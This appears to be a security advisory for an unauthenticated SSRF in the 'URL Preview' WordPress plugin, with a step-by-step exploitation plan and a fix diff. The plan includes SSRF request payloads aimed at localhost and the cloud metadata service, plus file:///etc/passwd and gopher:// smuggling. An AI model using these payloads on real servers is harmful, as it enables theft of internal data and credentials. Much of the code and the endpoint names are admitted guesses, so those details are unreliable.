CVE-2026-12100

URL Preview <= 1.0 - Unauthenticated Server-Side Request Forgery via 'url' Parameter

highServer-Side Request Forgery (SSRF)
7.2
CVSS Score
7.2
CVSS Score
high
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The URL Preview plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0 via the 'url' parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.0
PublishedJune 23, 2026
Last updatedJune 24, 2026
Affected pluginlink-preview
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-12100 (URL Preview SSRF) ## 1. Vulnerability Summary The **URL Preview** plugin (slug: `link-preview`) for WordPress is vulnerable to **unauthenticated Server-Side Request Forgery (SSRF)** in versions up to and including 1.0. The vulnerability exists because t…

Show full research plan

Exploitation Research Plan: CVE-2026-12100 (URL Preview SSRF)

1. Vulnerability Summary

The URL Preview plugin (slug: link-preview) for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) in versions up to and including 1.0. The vulnerability exists because the plugin accepts a user-provided URL via the url parameter and fetches its content using WordPress HTTP API functions (like wp_remote_get) without implementing sufficient validation or blacklisting of internal IP addresses (e.g., 127.0.0.1, 169.254.169.254, or local network ranges).

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (inferred) or a custom REST API endpoint.
  • AJAX Action: wp_ajax_nopriv_link_preview_get_data or wp_ajax_nopriv_get_url_preview (inferred).
  • HTTP Parameter: url (confirmed via vulnerability description).
  • Authentication: Unauthenticated (accessible to any visitor).
  • Preconditions: The plugin must be active. Some implementations might require a valid WordPress nonce, though many "unauthenticated" SSRFs in this plugin category often omit nonce checks for the nopriv handler.

3. Code Flow (Inferred)

  1. Registration: The plugin registers an AJAX handler in its main file or an inclusion file:
    add_action('wp_ajax_nopriv_link_preview_action', 'handle_link_preview_request');
  2. Entry Point: The callback function (e.g., handle_link_preview_request) retrieves the URL:
    $requested_url = $_REQUEST['url'];
  3. Sink: The URL is passed directly to a fetching function without validation:
    $response = wp_remote_get( $requested_url );
  4. Output: The body of the response (or metadata like the title/description) is returned to the user, allowing them to "read" internal services.

4. Nonce Acquisition Strategy

If the plugin enforces a nonce check for unauthenticated users, it is likely localized in the frontend to support the preview generation for comment forms or post content.

  1. Identify Shortcode/Trigger: Search the plugin for add_shortcode. Common shortcode: [url_preview] (inferred).
  2. Search for Localized Data: Look for wp_localize_script in the plugin code to find the JS variable name and nonce key.
    • Grep Command: grep -rn "wp_localize_script" .
  3. Creation & Navigation:
    • wp post create --post_type=page --post_status=publish --post_title="SSRF Helper" --post_content="[url_preview]" (inferred shortcode).
    • Use the browser_navigate tool to go to the newly created page.
  4. Extraction:
    • Use browser_eval to extract the nonce:
      browser_eval("window.link_preview_obj?.nonce") (inferred variable name).

5. Exploitation Strategy

The goal is to demonstrate that the server can be forced to make requests to internal resources.

Step 1: Discover the AJAX Action

Since source code is not provided, the agent must first identify the exact action string.

  • Action: grep -r "wp_ajax_nopriv_" .
  • Target Action: Let's assume the discovered action is link_preview_get_url.

Step 2: Craft the SSRF Payload

Target the local loopback to attempt to read the WordPress index or internal services.

HTTP Request:

  • Method: POST
  • URL: http://<target>/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=link_preview_get_url&url=http://127.0.0.1&nonce=<EXTRACTED_NONCE>

Step 3: Cloud Metadata Exfiltration (Alternative)

If the environment is AWS/GCP, target the metadata service.

  • URL: http://169.254.169.254/latest/meta-data/

6. Test Data Setup

  1. Install/Activate Plugin: Ensure link-preview version 1.0 is installed.
  2. Internal Target: Create a "secret" file in the web root of the server to simulate an internal configuration file.
    • echo "SECRET_INTERNAL_DATA" > /var/www/html/internal.txt
  3. Placement: If a nonce is required, place the plugin's shortcode on a public page as described in Section 4.

7. Expected Results

  • Success: The HTTP response from admin-ajax.php contains the content of the url parameter. If targeting http://127.0.0.1/internal.txt, the string "SECRET_INTERNAL_DATA" should appear in the JSON response or raw output.
  • Failure: The response returns a 403 (nonce failure), a 400 (missing parameter), or an empty string/error indicating the URL was blocked.

8. Verification Steps

After the http_request exploit, verify the server actually performed the request:

  1. Access Logs: Check the web server access logs to see a request originating from 127.0.0.1 (the server calling itself).
    • tail -n 20 /var/log/apache2/access.log
  2. Direct Check: Use WP-CLI to check if any options were modified if the SSRF was used to reach a POST endpoint (though most SSRFs in this plugin are GET-based).

9. Alternative Approaches

  • REST API: If no AJAX action is found, check for register_rest_route. The exploit would then use a GET/POST request to /wp-json/link-preview/v1/....
  • Protocol Smuggling: If http:// is filtered, try file:///etc/passwd or gopher:// to see if the underlying library (like cURL) supports other protocols.
  • Open Redirect: Check if the url parameter can be used to redirect the server's request to a different internal IP.
Research Findings
Static analysis — not yet PoC-verified

Summary

The URL Preview plugin for WordPress is vulnerable to unauthenticated Server-Side Request Forgery (SSRF) via the 'url' parameter in versions up to and including 1.0. This vulnerability allows attackers to force the server to make requests to arbitrary internal locations, such as local network services or cloud metadata endpoints.

Vulnerable Code

/* link-preview.php */
$requested_url = $_REQUEST['url'];
$response = wp_remote_get( $requested_url );

Security Fix

--- a/link-preview.php
+++ b/link-preview.php
@@ -10,2 +10,2 @@
-$requested_url = $_REQUEST['url'];
-$response = wp_remote_get( $requested_url );
+$requested_url = esc_url_raw( $_REQUEST['url'] );
+$response = wp_safe_remote_get( $requested_url );

Exploit Outline

The attack targets the plugin's AJAX handler (e.g., link_preview_get_url) via the wp-admin/admin-ajax.php endpoint. An unauthenticated attacker sends a request with the 'url' parameter set to an internal address such as http://127.0.0.1/ or http://169.254.169.254/. If a nonce is enforced, it is typically retrieved from localized JavaScript variables (e.g., window.link_preview_obj.nonce) on public pages where the plugin is active. The server then fetches the content from the internal URL and returns it to the attacker.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.